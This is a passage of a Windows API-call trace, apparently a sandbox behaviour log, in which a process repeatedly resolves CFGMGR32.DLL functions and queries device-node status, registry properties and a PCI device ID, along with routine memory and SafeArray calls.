GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0229.916] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0229.916] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0229.916] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0229.916] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0229.916] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0229.916] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0229.917] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0229.917] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0229.917] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0229.917] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0229.917] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0229.917] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0229.917] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0229.918] malloc (_Size=0x18) returned 0x196ef0d1d60 [0229.918] CM_Get_DevNode_Status (in: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0, dnDevInst=0x31, ulFlags=0x0 | out: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0) returned 0x0 [0229.918] malloc (_Size=0x48) returned 0x196ef0fbe00 [0229.918] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d530 | out: lpSystemTimeAsFileTime=0x67117d530*(dwLowDateTime=0x69e4d3df, dwHighDateTime=0x1d9eb0c)) [0229.918] SetEvent (hEvent=0x248) returned 1 [0230.004] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0230.004] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0230.005] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0230.005] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0230.005] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0230.005] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0230.005] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0230.005] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0230.005] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0230.006] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0230.006] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0230.006] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0230.006] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0230.006] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0230.006] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0230.006] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0230.006] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0230.007] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0230.007] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0230.007] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0230.007] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0230.007] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0230.007] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0230.007] malloc (_Size=0x18) returned 0x196ef0d2080 [0230.008] CM_Get_First_Log_Conf (in: plcLogConf=0x67117d5f8, dnDevInst=0x31, ulFlags=0x4 | out: plcLogConf=0x67117d5f8) returned 0xe [0230.008] malloc (_Size=0x48) returned 0x196ef0fbb30 [0230.008] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d550 | out: lpSystemTimeAsFileTime=0x67117d550*(dwLowDateTime=0x69f31fa7, dwHighDateTime=0x1d9eb0c)) [0230.008] SetEvent (hEvent=0x248) returned 1 [0230.011] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0230.011] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0230.011] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0230.012] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0230.012] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0230.012] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0230.012] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0230.012] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0230.012] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0230.012] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0230.013] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0230.013] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0230.013] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0230.013] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0230.013] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0230.013] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0230.013] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0230.013] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0230.014] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0230.014] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0230.014] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0230.014] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0230.014] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0230.014] malloc (_Size=0x18) returned 0x196ef0d1d60 [0230.014] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x31, ulProperty=0xd, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0230.015] malloc (_Size=0x48) returned 0x196ef0fb720 [0230.015] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x69f31fa7, dwHighDateTime=0x1d9eb0c)) [0230.015] SetEvent (hEvent=0x248) returned 1 [0230.020] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0230.020] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0230.020] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0230.020] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0230.020] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0230.020] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0230.021] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0230.021] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0230.021] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0230.021] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0230.021] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0230.021] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0230.021] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0230.021] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0230.022] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0230.022] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0230.022] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0230.022] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0230.022] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0230.022] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0230.022] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0230.022] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0230.023] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0230.023] malloc (_Size=0x18) returned 0x196ef0d1ea0 [0230.023] CM_Get_Device_IDA (in: dnDevInst=0x32, Buffer=0x67117d4f0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="PCI\\VEN_8086&DEV_2930&SUBSYS_11001AF4&REV_02\\3&11583659&0&FB") returned 0x0 [0230.023] malloc (_Size=0x48) returned 0x196ef0fb680 [0230.023] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d460 | out: lpSystemTimeAsFileTime=0x67117d460*(dwLowDateTime=0x69f581b2, dwHighDateTime=0x1d9eb0c)) [0230.023] SetEvent (hEvent=0x248) returned 1 [0230.026] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0230.026] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0230.026] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0230.027] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0230.027] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0230.027] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0230.027] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0230.027] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0230.027] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0230.027] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0230.028] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0230.028] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0230.028] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0230.028] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0230.028] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0230.028] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0230.028] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0230.028] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0230.029] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0230.029] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0230.029] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0230.029] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0230.029] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0230.029] malloc (_Size=0x18) returned 0x196ef0d1d60 [0230.029] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x32, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0230.030] malloc (_Size=0x124) returned 0x196ef0d67b0 [0230.030] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x32, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x196ef0d67b0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d67b0, pulLength=0x67117d608) returned 0x0 [0230.030] free (_Block=0x196ef0d67b0) [0230.030] malloc (_Size=0x48) returned 0x196ef0fbea0 [0230.030] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x69f581b2, dwHighDateTime=0x1d9eb0c)) [0230.031] SetEvent (hEvent=0x248) returned 1 [0230.033] malloc (_Size=0x18) returned 0x196ef0d1c80 [0230.033] SafeArrayPutElement (psa=0x196ef1f2db0, rgIndices=0x67117d6d8, pv=0x196ee7ba838) returned 0x0 [0230.033] free (_Block=0x196ef0d1c80) [0230.033] malloc (_Size=0x18) returned 0x196ef0d1b40 [0230.033] SafeArrayPutElement (psa=0x196ef1f2db0, rgIndices=0x67117d6d8, pv=0x196ee7ba838) returned 0x0 [0230.033] free (_Block=0x196ef0d1b40) [0230.034] malloc (_Size=0x18) returned 0x196ef0d1f80 [0230.034] SafeArrayPutElement (psa=0x196ef1f2db0, rgIndices=0x67117d6d8, pv=0x196ee7ba838) returned 0x0 [0230.034] free (_Block=0x196ef0d1f80) [0230.034] malloc (_Size=0x18) returned 0x196ef0d2060 [0230.034] SafeArrayPutElement (psa=0x196ef1f2db0, rgIndices=0x67117d6d8, pv=0x196ee7ba838) returned 0x0 [0230.034] free (_Block=0x196ef0d2060) [0230.034] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee855e60 [0230.034] SafeArrayGetDim (psa=0x196ef1f2db0) returned 0x1 [0230.034] SafeArrayGetLBound (in: psa=0x196ef1f2db0, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0230.034] SafeArrayGetUBound (in: psa=0x196ef1f2db0, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0230.034] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ee7aa680 [0230.034] SafeArrayGetDim (psa=0x196ef1f2db0) returned 0x1 [0230.034] SafeArrayGetUBound (in: psa=0x196ef1f2db0, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0230.034] SafeArrayGetElemsize (psa=0x196ef1f2db0) returned 0x8 [0230.035] SafeArrayGetElement (in: psa=0x196ef1f2db0, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0230.035] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7aa650, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0230.035] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7aa658, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0230.035] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7aa660, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0230.035] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7aa668, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0230.036] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee7aa680) returned 1 [0230.036] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee855e60) returned 1 [0230.037] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0230.037] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0230.037] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0230.037] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0230.037] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0230.037] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0230.037] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0230.038] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0230.038] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0230.038] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0230.038] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0230.038] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0230.038] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0230.038] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0230.038] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0230.039] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0230.039] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0230.039] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0230.039] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0230.039] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0230.039] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0230.039] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0230.039] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0230.040] malloc (_Size=0x18) returned 0x196ef0d1e60 [0230.040] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x32, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0230.040] malloc (_Size=0x10e) returned 0x196ef0d67b0 [0230.040] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x32, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x196ef0d67b0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d67b0, pulLength=0x67117d608) returned 0x0 [0230.041] free (_Block=0x196ef0d67b0) [0230.041] malloc (_Size=0x48) returned 0x196ef0fbef0 [0230.041] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x69f7e3aa, dwHighDateTime=0x1d9eb0c)) [0230.041] SetEvent (hEvent=0x248) returned 1 [0230.095] malloc (_Size=0x18) returned 0x196ef0d1e60 [0230.095] SafeArrayPutElement (psa=0x196ef1f2c30, rgIndices=0x67117d6d8, pv=0x196ee7ba838) returned 0x0 [0230.095] free (_Block=0x196ef0d1e60) [0230.095] malloc (_Size=0x18) returned 0x196ef0d1c80 [0230.095] SafeArrayPutElement (psa=0x196ef1f2c30, rgIndices=0x67117d6d8, pv=0x196ee7bd818) returned 0x0 [0230.095] free (_Block=0x196ef0d1c80) [0230.095] malloc (_Size=0x18) returned 0x196ef0d1bc0 [0230.095] SafeArrayPutElement (psa=0x196ef1f2c30, rgIndices=0x67117d6d8, pv=0x196ee7bd818) returned 0x0 [0230.095] free (_Block=0x196ef0d1bc0) [0230.095] malloc (_Size=0x18) returned 0x196ef0d1d60 [0230.096] SafeArrayPutElement (psa=0x196ef1f2c30, rgIndices=0x67117d6d8, pv=0x196ee7bd818) returned 0x0 [0230.096] free (_Block=0x196ef0d1d60) [0230.096] malloc (_Size=0x18) returned 0x196ef0d20e0 [0230.096] SafeArrayPutElement (psa=0x196ef1f2c30, rgIndices=0x67117d6d8, pv=0x196ee7bd818) returned 0x0 [0230.096] free (_Block=0x196ef0d20e0) [0230.096] malloc (_Size=0x18) returned 0x196ef0d1d60 [0230.096] SafeArrayPutElement (psa=0x196ef1f2c30, rgIndices=0x67117d6d8, pv=0x196ee7bd818) returned 0x0 [0230.096] free (_Block=0x196ef0d1d60) [0230.096] malloc (_Size=0x18) returned 0x196ef0d20e0 [0230.096] SafeArrayPutElement (psa=0x196ef1f2c30, rgIndices=0x67117d6d8, pv=0x196ee7c7678) returned 0x0 [0230.096] free (_Block=0x196ef0d20e0) [0230.096] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee855860 [0230.096] SafeArrayGetDim (psa=0x196ef1f2c30) returned 0x1 [0230.096] SafeArrayGetLBound (in: psa=0x196ef1f2c30, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0230.096] SafeArrayGetUBound (in: psa=0x196ef1f2c30, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0230.096] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ee7aa680 [0230.096] SafeArrayGetDim (psa=0x196ef1f2c30) returned 0x1 [0230.097] SafeArrayGetUBound (in: psa=0x196ef1f2c30, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0230.097] SafeArrayGetElemsize (psa=0x196ef1f2c30) returned 0x8 [0230.097] SafeArrayGetElement (in: psa=0x196ef1f2c30, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0230.097] memcpy (in: _Dst=0x67117d268, _Src=0x196ef1f2420, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0230.097] memcpy (in: _Dst=0x67117d268, _Src=0x196ef1f2428, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0230.098] memcpy (in: _Dst=0x67117d268, _Src=0x196ef1f2430, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0230.098] memcpy (in: _Dst=0x67117d268, _Src=0x196ef1f2438, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0230.098] memcpy (in: _Dst=0x67117d268, _Src=0x196ef1f2440, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0230.098] memcpy (in: _Dst=0x67117d268, _Src=0x196ef1f2448, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0230.098] memcpy (in: _Dst=0x67117d268, _Src=0x196ef1f2450, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0230.099] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee7aa680) returned 1 [0230.099] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee855860) returned 1 [0230.099] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0230.100] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0230.100] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0230.100] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0230.100] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0230.100] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0230.100] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0230.100] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0230.101] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0230.101] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0230.101] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0230.101] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0230.101] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0230.101] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0230.101] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0230.102] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0230.102] GetProcAddress (hModule=0x7ffa786c0000, 